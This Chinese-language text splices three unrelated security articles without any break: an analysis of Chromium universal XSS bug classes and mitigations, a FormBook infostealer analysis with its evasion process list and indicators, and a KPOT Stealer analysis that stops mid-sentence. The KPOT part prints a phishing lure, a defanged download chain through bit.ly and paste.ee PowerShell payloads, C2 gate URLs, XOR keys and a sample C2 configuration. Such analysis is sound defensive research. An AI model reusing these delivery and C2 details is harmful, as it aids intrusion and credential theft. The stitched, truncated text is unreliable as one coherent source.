本文档对2014至2016年期间报告的导致UXSS攻击的漏洞进行了概述和分析,并得出有关如何在以后缓解这些问题的结论。需要注意的是,在我们所分析的时间范围内,Chromium没有启用PlzNavigate,也没有启用站点隔离功能。

这项研究主要是在2017年年初进行的,因此本文中将“站点隔离”称为即将实现的增强功能,而没有将其视为现有的功能。

3.1 漏洞报告分析

在本文的漏洞报告分析中,针对2014至2016年期间报告的问题,使用以下查询发现了100多个Chromium漏洞:

“UXSS”、“XSS”、“Universal XSS”;

“Cross-Site Scripting”、“Universal Cross-Site Scripting”;

“SOP Bypass”、“SOP”;

“Same Origin Policy”、“Same Origin Policy”;

“Cross-orgin”等。

在首次搜寻到漏洞信息之后,我们进行了初步分析,最终筛选出63个问题作为有效的UXSS报告。随后,我们将这63个问题根据其根本原因或开发模式,进行了分类。最后,对这些类别进行了再次调整,最终形成了8类。有关更详细的内容,请参阅第四章 漏洞分析。

3.2 时间分布

1.png

四、漏洞分析

4.1 Blink:滥用解析器启动的JavaScript: URI页面加载

4.1.1 描述

这是本研究中漏洞数量最多的一个类别。

触发JavaScript执行的一种可能方式是执行JavaScript: URI导航。Chromium会检查当前执行上下文的来源(Origin),以确定加载是否成功。如果栈上没有活动的上下文,浏览器会认为导航安全。因此,如果<iframe>元素在其中加载了跨源页面,并且是未附加到文档的子树的一部分,就可以强制HTML解析器将元素插入到文档中,并加载任意JavaScript: URI。

4.1.2 加固措施

来自Daniel Cheng的评论([email protected]):

关于解析器,我们有一个假设,如果栈上没有JavaScript上下文,那么执行JavaScript: URI总是安全的,我们假设这是解析器触发的。但遗憾的是,一些VRP报告注意到了这些假设,并将其与DOM损坏攻击相结合,DOM损坏始终是来自不同的来源,但其目标是在危险的情况下触发这种假设。针对于此,我们提出了一般性的缓解方案,请参见 https://codereview.chromium.org/2502783004/以及 https://codereview.chromium.org/2190523002/

最后需要强调的是,我们应该改变JavaScript: Navigation永远不进行同步。在一些具体的实例中,它们会进行同步,这只会产生问题。

4.1.3 报告

(1)2015年2月7日(456518)HTML解析器可能会使frame元素处于不正确的状态

(2)2015年3月5日(464552)在blink::ContainerNode::attach中利用堆Use-After-Free漏洞

(3)2015年8月3日(516377)blink::ContainerNode::parserRemoveChild中的UAF/DOM树损坏

(4)2015年8月11日(519558)ContainerNode::parserInsertBefore通用XSS漏洞

(5)2015年10月8日(541206)使用document.adoptNode的通用XSS漏洞

(6)2015年11月16日(556724)通过子框架持久化的通用XSS漏洞

(7)2015年11月22日(560011)ContainerNode::parserRemoveChild中更新工具的通用XSS漏洞

(8)2016年1月13日(577105)通过绕过卸载事件的通用XSS漏洞

(9)2016年4月21日(605766)采用图像元素导致的通用XSS漏洞

(10)2016年6月19日(621362)Flash调用JavaScript insideNode::removedFrom导致的通用XSS漏洞

(11)2016年7月24日(630870)拦截UA阴影树导致的通用XSS漏洞

(12)2016年9月8日(645211)使用blink::HTMLMarqueeElement的通用XSS漏洞

(13)2016年10月14日(655904)通过全屏元素更新的通用XSS漏洞

(14)2016年10月22日(658535)使用<input type="color">元素的通用XSS漏洞

(15)2016年11月8日(663476)通过删除链接元素的通用XSS漏洞

(16)2016年11月24日(668552)通过使用命名来污染私有脚本的通用XSS漏洞

2.png

4.2 Blink:缺少或不正确使用跨源访问检查

4.2.1 描述

这一类漏洞相对简单。在执行敏感操作时,浏览器应该确保当前上下文(或当前页面)具有适当的权限。在下面列出的漏洞中,该检查完全缺失,或者在错误的上下文之中执行。

Bug 504011就是这类问题的一个典型示例。首先,攻击者泄漏V8ContextNativeHandler的GetModuleSystem()函数。然后,他们使用另一个来源的跨源窗口对象调用该函数。实际上,在这里不应该创建跨源引用,但是由于缺少访问检查,该函数调用在另一个源的上下文中返回所请求的模块对象。

针对这样漏洞的修复通常比较简单,例如针对上述示例中的漏洞,其修复方式如下:

1、在存在漏洞的函数中调用帮助函数进行访问检查;

2、使用BindingSecurity API实现该帮助程序

4.2.2 加固措施

请参阅 https://crbug.com/525330  ,在分离框架/窗口时立即清空DOMWindow::m_frame。

Chromium使用具有不同生命周期的对象来表示页面。例如,在导航之间保留Frame对象,但会为每个页面加载创建一个新的DOMWindow。DOMWindow对象用于存储对框架的引用,即使在它们已被分离的情况也同样适用。这样就导致了很多问题,其中,跨源框架的访问检查是在同源的分离窗口上执行的。该补丁修复后,使清除框架引用成为了可能。

4.2.3 报告

(1)2014年2月11日(342618) iframe上的dispatchEvent存在UXSS漏洞

(2)2015年6月24日(504011) 通过模块系统泄漏可能实现跨源脚本

(3)2015年8月20日(522791) 使用navigator.serviceWorker.ready的通用XSS漏洞

(4)2015年8月24日(524074) 加载已经卸载的JavaScript: URI导致通用XSS漏洞

(5)2015年9月9日(529682) 内容脚本能够在其他扩展的后台页面中评估代码

(6)2016年8月17日(638742) 使用ThreadDebugger::setMonitorEventsCallback的通用XSS漏洞

3.png

4.3 Blink和V8:使用的上下文不正确

4.3.1 描述

在创建新的JS包装器(Wrapper)对象时,Blink方法通常必须要确定正确的创建上下文。当用于创建上下文源的值可以被用户控制时,就会发生此类漏洞。

以Bug 632634为例,静态方法的绑定代码允许将info.Holder()(其参数的方法)设置为任意值。然后,info.Holder()的创建上下文可用于返回ScriptState对象,当从静态方法执行时,该对象最终变为跨源引用。

在修复补丁中,包含两个不同于先前易受攻击的forHolderObject()函数实现(forFunctionObject()和forReceiverObject())。这些实现将根据调用方法或属性是否为静态来选择使用。

这一类中的许多问题都滥用了JS异常创建。Bug 453979就是这样的一个例子:

当DOM方法抛出异常时,异常对象的创建上下文继承自调用该方法的对象,即使它来自不同的源。创建对象的过程中,没有进行任何访问权限检查,因此攻击者可以借助它来获取一些引用,例如函数构造函数。

针对这些问题的修复方法,通常包括在抛出异常时对创建上下文进行清理。另一个修复方法是,将跨站点异常(Cross-site Exception)转换为安全错误(Security Errors)。

最后,Bug 583445是另一个值得关注的例子。在这种情况下,浏览器在导航后没有更新执行的上下文,因此在新页面中,将在前一个上下文中运行JavaScript。

4.3.2 报告

(1)2015年1月30日(453979) V8中异常对象导致的UXSS

(2)2015年5月31日(494640) 使用IDBKeyRange静态方法的通用XSS漏洞

(3)2015年9月10日(530301) 使用栈溢出异常的通用XSS漏洞

(4)2015年9月15日(531891) 使用从Object.observe抛出的异常的通用XSS漏洞

(5)2016年2月2日(583445) DocumentLoader::createWriterFor中的通用XSS漏洞

(6)2016年4月22日(605910) 使用iterables的通用XSS漏洞

(7)2016年4月28日(607483) 转换IDL数组/序列中存在的通用XSS漏洞

(8)2016年5月31日(616225) V8Console::memoryGetterCallback中存在的通用XSS漏洞

(9)2016年7月29日(632634) 静态方法和ScriptState::forHolderObject存在的通用XSS漏洞

(10)2016年10月15日(656274) 通过提取(Fetch)实现跨源对象泄漏

4.png

4.4 Navigation:isNavigationAllowed()绕过、丢失或绕过ScriptForbiddenScope等

4.4.1 描述

这是最新的一类漏洞。在2016年,共报告了8个此类漏洞中的7个。

该类漏洞结合了在页面导航逻辑中存在的弱点,来破坏两个不变量中之一。第一个无法执行同步跨源页面加载。这样一来就可能导致UXSS,因为TOCTOU问题与加载<iframe>元素中的JavaScript:URI有关。第二个是两个文档不能同时附加到同一个Frame对象。如果其中一个文档是同源的,另一个是跨源的,那么攻击者就可以使用前者来修改后者,而Frame则充当代理。

Bug 616907就是一个很好的例子:

这是ScopedPageLoadDeferrer实现的架构问题。基本上,它通过在实例化延迟器时,通过将页面标记为延迟来工作。但问题在于,在此之后创建的页面,默认情况下不会延迟加载。攻击者可以跨越延迟边界移动iframe,这允许在意外情况下进行同步跨源导航。

其修复方法是,在实例化延迟器时,禁用打开新页面。

另外一个值得关注的漏洞是Bug 600182:

当ScopedPageLoadDeferrer被销毁时,会在关联的页面和加载器上更新延迟状态。如果在事件循环期间预留任何历史加载,那么延迟器将始终对其进行保护,在更新期间将会直接进行处理,而不检查框架是否允许导航。

这样一来,就为攻击者绕过FrameNavigationDisabler提供了一条途径。

针对这一漏洞的修复方法是,将isNavigationAllowed()检查移动到主入口点以进行加载。

4.4.2 加固措施

请参阅https://crbug.com/629431

该类型的漏洞依赖于使用嵌套时间循环来执行页面加载。加载完成后,漏洞必须继续执行,但是无法在具有常规超时限制或承诺的嵌套循环中进行JavaScript回调。该类问题的修复布丁中,解决了扩展API中的一个问题,这一问题允许攻击者绕过限制。

4.4.3 报告

(1)2015年10月22日(546545) 使用插件对象的通用XSS漏洞

(2)2016年3月24日(597532) 使用FrameNavigationDisabler绕过的通用XSS漏洞

(3)2016年4月3日(600182) 使用延迟历史记录加载的通用XSS漏洞

(4)2016年4月8日(601706) 使用负载延迟逻辑中的缺陷导致的通用XSS漏洞

(5)2016年5月19日(613266)  通过FrameLoader::startLoad的重新进入实现通用XSS漏洞

(6)2016年6月2日(616907) 使用ScopedPageLoadDeferrer绕过的通用XSS漏洞

(7)2016年6月6日(617495) 使用相同文档导航的通用XSS漏洞

(8)2016年7月17日(628942) 带有ScopedPageLoadDeferrer和RemoteFrame的通用XSS漏洞

(9)2016年9月13日(646610) 使用OOPIF的通用XSS漏洞

(10)2016年12月5日(671102) 通过绕过ScopedPageSuspender关闭窗口的通用XSS漏洞

(11)2016年12月11日(673170) 使用最新小工具更新的通用XSS漏洞

5.png

4.5 扩展API:函数或对象的泄漏,以及使用任意或未经授权的createContext

4.5.1 描述

扩展的系统可以访问JavaScript内部的特定位置,同时还为用户上下文提供公共API。由于在API实现中存在不同的错误,因此有一些技巧可以实现对扩展API的滥用。

这一类漏洞的主要目标都是泄漏内部对象。例如Bug 590275:

RequireForJsInner在内部对象调用GetProperty,该对象用于存储模块系统的导出函数。在Object.prototype上定义的getter函数可能会泄漏该对象。随后,泄漏的对象将用于获取跨源访问,例如:

1、通过本地函数(例如Bug 590118中的user_gestures.RunWithUserGesture);

2、通过滥用SendRequestNatives::GetGlobal来获取Bug 546677中的受害者窗口对象。

针对不同的漏洞,应用了不同的修复程序。其中,一个值得注意的例子是:

1、停止在公共API中使用给定的creationContext;

2、加强对绑定的拦截。

4.5.2 报告

(1)2015年6月6日(497507) 通过本地函数实现跨源脚本

(2)2015年9月22日(534923) 通过unload_event模块实现通用XSS

(3)2015年10月22日(546677) SendRequestNatives :: GetGlobal的通用XSS

(4)2016年2月26日(590118) 使用截获的本地函数的通用XSS

(5)2016年2月26日(590275) ModuleSystem::RequireForJsInner内部对象泄漏导致通用XSS漏洞

(6)2016年3月26日(598165) 通过Object.prototype.create拦截绑定导致的通用XSS漏洞

(7)2016年4月6日(601073) 扩展绑定中的通用XSS漏洞

(8)2016年4月19日(604901) 通过SchemaRegistry实现的持久化通用XSS漏洞

6.png

4.6 V8:缺少或不正确使用访问检查

4.6.1 描述

这一类漏洞与第2类相似,唯一的区别是检查的位置应该位于V8端。

以Bug 354123为例:

Object.setPrototypeOf的当前实现没有任何安全检查。为了实现UXSS漏洞利用,攻击者可以用一个对象来替换受害者的窗口原型,该对象具有重新定义的默认方法/属性访问器,从受害者的JS上下文中泄漏对象。

针对该漏洞,其解决方案非常简单,只需添加必须的访问调用检查即可。

4.6.2 报告

(1)2014年3月19日(354123

(2)2015年2月6日(455961

(3)2016年6月10日(619166

7.png

4.7 特定于Flash的问题

4.7.1 描述

在Flash插件中,有其自身的SOP策略实现。该类漏洞结合了插件自身中缺少的安全检查,以及Chromium的代码中对Flash的支持问题。

这一类的大多数错误,都是由Adobe进行修复的。针对Bug 569496的修复方法,是为了防止PPB_Flash_MessageLoop中的页面加载。

4.7.2 报告

(1)2014年10月20日(425280) 使用文件上传和重定向绕过Flash跨域策略(仅限Chrome)

(2)2015年4月27日(481639) 通过ActionScript的Sound对象实现通用SOP绕过

(3)2015年12月14日(569496) 使用Flash消息循环导致通用XSS漏洞

8.png

4.8 自定义问题:外部依赖项、自定义模式(例如:设计模式、DevTools)、插件(例如:Pepper)和特殊资源类型

4.8.1 描述

该类漏洞的原因在于Chromium代码库的不同部分,没有任何通用的模式和规律。实际上,可以将这些漏洞单独分为一类,但我们将其放在“自定义问题”的分类中,似乎更加合理一些。

由于漏洞的性质不同,所以修复程序也完全不同。

其中,有两个问题(Bug 429542和Bug 594383)都是由file://协议的特殊处理引起的。其修复方式为:

1、使“file:”成为有效的唯一来源;

2、在初始化主框架之前应用WebSettings。

4.8.2 报告

(1)2014年11月2日(429542) Linux上通过/proc/self/fd/实现文件到文件SOP绕过

(2)2014年12月23日(444927) 继承的designMode和跨窗口拖放允许修改跨源iframe的DOM

(3)2015年2月28日(462843) AuthenticatorHelper中存在UXSS漏洞

(4)2015年12月15日(569955) 使用全屏API导致通用XSS漏洞

(5)2016年3月13日(594383) file://页面window.open()存在UXSS漏洞

(6)2016年8月14日(637594) 使用DevTools的通用XSS漏洞

9.png

4.9 不同类别的报告分部

10.png

4.10 时间组合视图

11.png

五、其他浏览器中的UXSS漏洞

实际上,并不仅仅在Chromium中才存在UXSS漏洞,每个主流浏览器都曾经出现过该类型的漏洞。我们列举一些实例,并将它们与Chromium定义的类别进行比较。

5.1 Safari

Chromium和Safari曾经共同使用相同的渲染引擎,因此本文中列出的许多旧Bug也会影响Safari。最近的一个例子是https://bugs.chromium.org/p/project-zero/issues/detail?id=1068 ,这是JavaScriptCore绑定中的一个错误,Safari的JavaScript引擎与Chromium的V8不同,它与第3类完全匹配。其中一个参数用于确定异常对象的创建上下文。攻击者可以传递一个跨源对象作为参数,从而获得一个跨源异常,该异常暴露了另一个来源的构造函数。

针对该漏洞的修复,对函数进行了修改,以直接通过附加参数获取上下文。

5.2 Edge

CVE-2017-0002演示了处理about:blank页面的错误。这些页面的特殊之处在于它们无法从URL派生它们的源,而是继承了打开者或者父页面的来源。错误地实施此行为,可能会导致违反SOP。在这种情况下,一个未继承其源的about:blank页面(例如:一个空页面)能够访问任何其他about:blank页面。这个漏洞上实际上几乎与此前Chromium的Bug 89453相同,都属于第8类。

遗憾的是,针对该漏洞的修复,没有发布公开的链接。

5.3 Firefox

在Firefox中,我们发现了一个值得注意的漏洞,对特殊字符的错误处理允许攻击者欺骗页面URL。即使内部代码仍然能够从欺骗URL中正确地确定源,Flash插件也会将欺骗部分视为实际的域名。因此,攻击者可以在受害者页面的上下文中运行ActionScript代码。该漏洞属于第7类。

其修复方法是改进了URL的验证方式

5.4 小结

可以看出,本文中介绍的漏洞分类也同样适用于其他浏览器,并且针对不同浏览器,可能存在一些相同的漏洞。这样一来,我们这篇文章,可能对Chromium之外的浏览器中实现UXSS防御有所帮助。

六、潜在缓解措施及应对方法

在本节中,主要介绍了一些检测或缓解UXSS漏洞的方式,以及这些方式所带来的警示。这些方案与上述任何特定类别无关,属于通用的方法。

6.1 DataFlowSanitizer Instrumentation

DataFlowSanitizer是用于广义动态数据流分析的存储器工具。DFSan API允许使用标记来标记内存中的任何字节。DFSan在复制数据时同样也会附带标签。对于某些操作(例如:添加),如果源操作数具有不同的标记,那么这些标记将被连接,以形成新的组合标记。然后,在程序执行的任何时刻,我们可以查询哪些标签被附加到特定的内存字节。

理论上,这种方法可能最终可以跟踪对象所关联的起源,并根据分配的DFSan标记执行访问检查。但是,对于这一类漏洞,这样的方法似乎比较低效。我们不可能在基本类型(如WTF::String或WTF::Vector)内为内存字节分配适当的标记,因为这些类型的对象不清楚它们的关联起源,甚至是相关的框架。

6.2 通过DOM Wrappers进行原始清理

之前讨论过得另一个提议被称为“针对每个源的内存保护”。简短来说,该提议是指将源与DOM包装器相关联,并将所有入口点从V8挂钩到Blink(可能还有一些从Blink到V8的入口点)。

正如提议文档中所说的那样,保护包装器访问不足以阻止UXSS攻击。有许多方法可以在不经过包装的情况下利用UXSS。因此,这可能不是一个太好的方案,但无论如何,它有助于防止导致UXSS的许多漏洞。

6.3 对UXSS漏洞进行模糊测试

在一些漏洞报告(例如:https://crbug.com/497507 和 https://crbug.com/504011)中,使用了以下的方法来演示UXSS利用。一个无害的parent.html页面嵌入了child.html页面,该页面执行漏洞利用,并最终访问父页面。然后,通过修改父页面的背景颜色来实现演示。

假设我们有可能通过执行由Fuzzer生成的JavaScript代码,来获得跨源访问,我们可以通过以下方式进行模糊测试。

1) 模糊测试过程对一组HTML文件进行操作:

Parent.html是具有常量内容的约束,大致如下所示:

<!doctype html>
<title>Parent</title>
<body>
<script>
...
var savedState = deepCopy(window);
setTimeout(() => verifyState(window, savedState), TIMEOUT);
</script>
<iframe sandbox="allow-scripts" src="child.html"></iframe>
</body>

child.html包含生成的JavaScript代码,并执行任意API方法调用和DOM树操作。我们可以使用现有的模糊器来生成此类文件。

2) deepCopy方法创建JavaScript窗口对象当前状态的快照。由于大多数DOM对象通常具有可以从窗口访问的JS包装器,因此它们也包含在快照之中。

3) 在child.html中的代码运行一段时间之后,verifyState遍历对象树将其与快照进行比较。如果不匹配,则可能表示SOP违规。

关于如何使用模糊测试来发现SOP绕过,我们有另外一个思路,可能会应用于现有的Fuzzer上。具体是,在现有Fuzzer生成的每个测试用例结束时,验证document.origin。如果原始值符合以下条件,则报告错误:

针对通过HTTP提供的测试用例,不应等于http://localhost:8000

针对直接从磁盘打开的测试用例,不应等于null。

然而,正如我们之前所描述的,大多数已知的SOP绕过都是逻辑漏洞,而不是内存损坏的漏洞。因此,自动生成触发SOP绕过的Payload将比通过使用不同JavaScript对象执行的随机操作触发内存损坏漏洞Payload的生成要困难得多。

另外一个有趣的观点是,渲染器进程中的代码执行漏洞基本上等同于UXSS。其原因在于,代码执行使攻击者可以覆盖安全检查,并获得跨源访问。需要注意的是,这在PlzNagivate启动后不适用。

6.4 站点隔离

在研究期间,我们分析的绝大多数漏洞都使用跨站框架。在这种情况下,不同的来源通常会共享相同的渲染器进程。因此,SOP绕过问题的攻击面非常大:

1、Blink、Bingings、V8中的逻辑错误;

2、扩展和其他API;

3、导致远程代码执行的内存损坏漏洞。

站点隔离项目旨在添加对每个进程的站点策略的支持,以确保所有渲染器进程包含来自至多一个网站的文档。在2017年初,这项研究最初进行时,站点隔离看上去对于缓解UXSS攻击非常有价值。

现在,我们可以使用站点隔离,它于2018年年中部署在Chromium的桌面版本中,受损的渲染器无法在不绕过沙箱限制的情况下访问另一个站点,这样一来就显著提高了攻击者所花费的成本。因此,与上述攻击面相比,沙箱的攻击面要小很多。

值得注意的是,站点隔离仍然存在一些局限性。首先,站点隔离设计文档对站点有严格的定义:页面的站点包括协议和注册的域名,包括公开后缀,但忽略子域名、端口和路径。这与源的定义不完全匹配,否则某些浏览器功能将非常难以实现(例如:document.domain修改)。因此,当攻击者能够在与受害者相同的二级域名和协议中运行JavaScript时,站点隔离将无法保护免受UXSS攻击。

其次,像<img>和<script>这样的一些Web功能在历史上允许跨源请求。Chromium使用跨源资源阻止(CORB)来防止它们用作泄漏敏感的跨源数据的方法。但是,CORB使用内容类型嗅探,这可能会在某些极端情况下产生不正确的结果,并且只保护JSON、XML和HTML数据,因此它不会阻止攻击者窃取JS、CSS和媒体文件。

七、总结

站点隔离是针对UXSS攻击最有效的对策,主要在于它将击破绝大多数依赖于统一进程跨源帧的可用性的UXSS漏洞。在Chromium中部署站点隔离后,UXSS漏洞利用的成本将非常接近于完整远程代码执行漏洞利用的成本,包括沙箱逃逸。沙箱逃逸被认为是漏洞利用链中最复杂、成本最高的一项。

概述

FormBook是一个信息窃取类型的恶意软件。与大多数其他信息窃取类恶意软件一样,它在部署到受害者的计算机上时,会执行许多操作来逃避反病毒厂商产品的检测。当然,正如我们在Ursnif、Hancitor、Dridex和其他木马中看到的那样,有许多变种可以通过多种方式接收Payload。

在过去的一年中,威胁行为者最常用的分发FormBook恶意软件的方法是借助恶意钓鱼邮件并利用CVE-2017-8570漏洞。具体而言,攻击者会使用包含恶意代码的.RTF格式文件来利用这一漏洞。

在本文中,我将重点关注恶意Payload,并详细分析该恶意软件的行为和IoC。

FormBook使用的反分析技术

首先,我们先从FormBook如何阻止恶意软件研究人员调试和分析恶意软件开始。我们参考了其他研究人员的分析成果,了解FormBook首先会遍历受害者主机上正在运行的进程。如果存在任何列入黑名单的进程,那么Payload将会停止感染计算机。

该恶意软件使用了大量的反分析技术,例如:黑名单中的进程列表、虚拟机检测机制、内存中字符串混淆等,这些都是为了避免配置中的memdump,从而防止被安全研究人员发现相关的字符串。

下面是本文中提到的一些列入黑名单中的进程。需要注意的是,除此之外,恶意软件还会查找VMWare和Parallels虚拟机实例,这两种虚拟机都有可能会被研究人员使用:

Vmtoolsd.exe, vmwareservice.exe, vmwareuser.exe, vboxservice.exe, vboxtray.exe, netmon.exe, Sandboxiedcomlaunch.exe, Sandboxierpcss.exe, procmon.exe, filemon.exe, wireshark.exe, prl_tools_service.exe, vmsrvc.exe, Vmusrvc.exe, python.exe, perl.exe, regmon.exe

为了使用procmon进行事件捕获,我选择了“启用启动日志记录”(Enable boot logging)选项,这样一来,就会为procmon创建服务和驱动条目,直至下次启动。这将允许procmon在下次启动时捕获系统事件:

C:\Windows\System32\drivers\PROCMON24.SYS

运行FormBook Payload

现在,我们可以执行Payload,并分析其运行过程。我从VZ中任意选择了一个样本。

SHA-1:ecb7b646b21e4940b9e68b55722f7755057c933c

在主机上部署Payload后,我们就可以查看其进程树:

1.png

这是它在启动后的样子:

2.png

需要注意的是,在整个感染链中,都是用了合法的进程。这是通过进程镂空(Process Hollowing)和代码注入来实现的。

在每次运行时,包括重新启动时,进程树都会有所不同。这些进程中已经被注入代码,并且能够执行恶意软件的功能。

下面是FormBook用于逃避检测所使用的合法进程列表(部分):

taskhost.exe, explorer.exe, svchost.exe, dwm.exe, cscript.exe, netstat.exe, raserver.exe, wscript.exe, wuapp.exe, cmd.exe, ipconfig.exe, lsass.exe, rundll32.exe, msdt.exe, mstsc.exe, msiexec.exe, systray.exe, audiodg.exe, wininit.exe, services.exe, autochk.exe, autoconv.exe, autofmt.exe, cmstp.exe, wuauclt.exe, napstat.exe, lsm.exe, netsh.exe, chkdsk.exe, msg.exe, nbtstat.exe, spoolsv.exe, rdpclip.exe, control.exe

FormBook恶意软件部署流程

我以Admin用户身份运行了样本Payload。

在第一阶段,Payload在%appdata%\local\temp\subfolder文件夹中投放了explorer.vbs脚本以及另一个名为explorer.exe的MZ。当然,这并不是真正的资源管理器,正如我们根据文件哈希值看到的那样:

SHA-1:dbaf9e4fc18d8744d5ee9d80bf7f4ef6e2d18bf7

在这里,我们可以查看.vbs文件的内容,以及添加注册表值的命令。

3.jpg

随后,VBS脚本运行explorer.exe,并终止原始Payload进程。

4.png

在这时,还会注入到合法的explorer.exe:1320,它将会派生出msiexec.exe。这也是接下来要注入到代码中运行的内容。

5.png

经过代码注入后的合法explorer.exe将投放一个类似的Payload,作为另一种持久化方法,它与恶意的explorer.exe是相同的文件。

该可执行文件产生DllHost来写入大部分文件,但我们还发现,该文件也会写入到一些文件之中。针对不同的计算机,其部署的文件名和文件夹名称都在发生变化。

6.png

至此,主机已经被感染,其他相关操作正在执行中。

在我们的样本中,msiexec.exe将保持活跃状态,并注入到浏览器之中,一旦持久化机制被删除,该文件将负责重新感染。

IoC

1. 创建下述文件夹和文件:

(根据我们的测试,文件夹名称和文件名称随主机的不同而发生变化)

· C:\Program Files\Rwpj8mp\mpxpsj78jvx8ftbp.exe

2. 创建下述文件夹和文件:

(针对所有被感染主机,文件夹和文件的名称都相同)

· C:\Users\Test_PC\AppData\Local\Temp\subfolder\explorer.vbs

· C:\Users\Test_PC\AppData\Local\Temp\subfolder\explorer.exe

3. 为保证持久性,将创建2个条目,它们分别对应上述第2点中的条目:

7.png

关于FormBook的更多IoC

在感染链完成之后,我们可以看到恶意软件所使用的进程。我们还可以借助一些工具,来查看这些进程的内部,从而弄清楚恶意软件的工作原理。

例如,在cmd.exe:2524的内存区域中,包含一个具有读写-执行(RWX)权限的内存区域和MZ。由此证明,在大多数情况下,这样的特征都是恶意的。

8.png

9.png

我们已经事先了解,FormBook属于金融类恶意软件,该恶意软件可能会尝试向浏览器注入代码,然后尝试在相关函数上设置挂钩(Hook),以从浏览器中泄露数据。

在Internet Explorer中,我们还可以在具有RWX权限的浏览器内存区域发现恶意软件的踪影。我们还发现了针对记事本(Notepad)的挂钩,该挂钩同样被启用,并且其目的也是为了获取用户信息。

10.png

这些信息是使用GMER工具分析而得到的。

我们发现这些函数挂钩在上述的内存地址中,这里所使用的操作码(Opcode)通常是CALL或者JMP。

在这里,我们发现这个段的起始地址以及保护级别,这也是判断恶意软件存在的一大根据。当然,RWX本身不代表恶意软件,还需要结合更多信息进行综合判断。

当恶意软件新感染一台主机后,或被感染主机启动后,恶意软件将会自动运行,它将触发打印屏幕,并将打印内容发送至C&C服务器,以便进行侦查缓解。

在我的测试中,该文件位于C:\Users\Test_PC\AppData\Roaming\3Q5P0RE0\3Q5logim.jpeg。

11.jpg

文件夹C:\Users\Test_PC\AppData\Roaming\中还临时保存了一些需要在以后删除的文件。

最后一个被恶意软件利用的进程是msiexec.exe:3052,它负责将下面这些文件写入到磁盘中:

· C:\Users\Test_PC\AppData\Roaming\3Q5P0RE0\3Q5log.ini

· C:\Users\Test_PC\AppData\Roaming\3Q5P0RE0\3Q5logri.ini

· C:\Users\Test_PC\AppData\Roaming\3Q5P0RE0\3Q5logrv.ini

总结

随着技术的发展,恶意软件也在逐步使用越来越强大的技术来逃避反病毒产品的检测,我们所分析的FormBook就是这样的一个案例。面对这一现状,安全研究人员在进行研究时,应该使用经过良好配置的沙箱环境,而不应该仅仅使用常见的虚拟机再加上原始的操作系统环境。为防范此类恶意软件,用户应具备良好的安全意识,避免打开可疑的电子邮件,并及时修复漏洞。最后,借助一些行为AI引擎,可以在离线环境下检测并阻止此类FormBook恶意软件。

概述

KPOT Stealer是一种信息窃取类型的恶意软件,该恶意软件可以从Web浏览器、即时通信、电子邮箱、VPN、RDP、FTP、加密货币软件和游戏中提取帐户信息和其他数据。

Proofpoint的研究人员从2018年8月开始,发现有攻击者开始通过电子邮件活动和漏洞利用工具包分发KPOT Stealer(如下图所示)。此外,Flashpoint Intel的研究人员在2018年9月发现了针对Javv加密货币钱包用户的恶意软件。

2018年11月至2019年5月期间,分发KPOT Stealer的漏洞利用工具包动:

1.png

最近,攻击者开始提供更新版本的恶意软件,本文分析了其中一起恶意活动及在恶意活动中使用的恶意软件。这一较新版本的恶意软件,正在各种地下黑客论坛中出售,其名称被标注为“KPOT v2.0”,价格约为100美元。

在俄罗斯的某地下黑客论坛中,我们找到了KPOT v2.0的商品,同时还包含标明其价格变化的历史信息:

2.png

恶意活动分析

我们在各种电子邮件恶意活动中,都观察到了KPOT的存在。例如,下面的内容体现了攻击者所使用的策略、技术和过程(TTP),其中包括使用文档和相同Payload域名的另一个恶意软件家族——Agent Tesla的活动。

KPOT恶意活动发送的恶意邮件:

3.png

· 发件人:ernandes <[email protected]>

· 主题: payment-Bank transfer(付款 – 银行转账)

· 日期:2019年4月30日(星期二)

· 附件:“Bank transfer copy.doc”(银行转账复制版本)

利用CVE-2017-11882漏洞(公式编辑器漏洞)的RTF文档附件:

4.png

在上述示例中,附件是一个LCG Kit变种RTF文档,它利用CVE-2017-11882公式编辑器漏洞,通过bit.ly短地址链接服务下载中间下载工具:
· hxxps://bit[.]ly/2GK79A4 -> hxxp://internetowe[.]center/get/udeme.png

随后,下载工具从各种paste.ee链接中获取包含经过Base64编码后Payload的部分PowerShell脚本:

· hxxps://paste[.]ee/r/BZVbl (在PowerShell脚本中,包含用于反射DLL注入的附加二进制文件)

· hxxps://paste[.]ee/r/mbQ6R (经过Base64编码后的Payload)

· hxxps://paste[.]ee/r/OsQra (PowerShell脚本的后半部分)

其中,Payload是KPOT Stealer配置:

· C2:hxxp://5.188.60[.]131/a6Y5Qy3cF1sOmOKQ/gate.php

· XOR密钥:Adx1zBXByhrzmq1e

恶意软件分析

KPOT Stealer是一个使用C/C++语言编写的信息窃取类型恶意软件,专注于窃取各种软件应用程序和服务的帐户信息以及其他数据。该名称来源于早期版本恶意软件中使用的命令与控制(C&C)面板:

5.png

本文着重对较新版本的C&C面板进行分析,下图为登录屏幕截图。可以看出,可供识别的标志已经被删除。

新的命令与控制面板:

6.png

字符串

在大多数恶意软件中,重要的字符串都会被加密。在这里,每个加密的字符串都存储在一个8字节结构的数组中,每个结构包含:

1. 异或密钥(WORD)

2. 字符串长度(WORD)

3. 指向加密字符串的指针(DWORD)

每个加密的字符串都可以通过XOR密钥与其进行异或操作来实现解密。在参考中,[1]是一个IDA Python的片段,可用于解密分析样本中的字符串,在[2]中则包含解密字符串列表。

Windows API调用

KPOT Stealer通过哈希运算,解析它在运行时使用的大多数Windows API函数。该恶意软件所使用的散列算法被称为MurmurHash[3]。在我们所分析的样本中,使用0x5BCFB733作为种子(Seed)。下表包括使用的一些哈希值列表,以及其对应的Windows API名称:

· 0xEC595E53 GetModuleFileNameW

· 0x68CCF342 CreateStreamOnHGlobal

· 0xCF724FBB GetVolumeInformationW

· 0xB6B1AD4A InternetOpenW

· 0x6EAB51D socket

命令与控制

KPOT使用HTTP进行命令与控制。URL组件存储为加密字符串。在我们分析的样本中,URL为hxxp://bendes[.]co[.]uk/lmpUNlwDfoybeulu/gate.php。该恶意软件还支持.bit的C&C域名,这些域名目前被越来越普遍地使用。

有两种类型的请求会被发送到C&C服务器中。第一个是对C&C服务器的GET请求,如下图所示:

7.png

来自C&C的响应内容经过Base64编码,并且使用硬编码密钥进行XOR异或操作,改密要被存储为加密字符串。在我们分析的样本中,密钥为“4p81GSwBwRrAhCYK”。其明文响应内容的示例如下:

1111111111111100__DELIMM__A.B.C.D__DELIMM__appdata__GRABBER__*.log,*.txt,__GRABBER__%appdata%__GRABBER__0__GRABBER__1024__DELIMM__desktop_txt__GRABBER__*.txt,__GRABBER__%userprofile%\Desktop__GRABBER__0__GRABBER__150__DELIMM____DELIMM____DELIMM__

这些数据之间由“__DELIMM__”进行分隔,可以拆分为以下类型的数据:

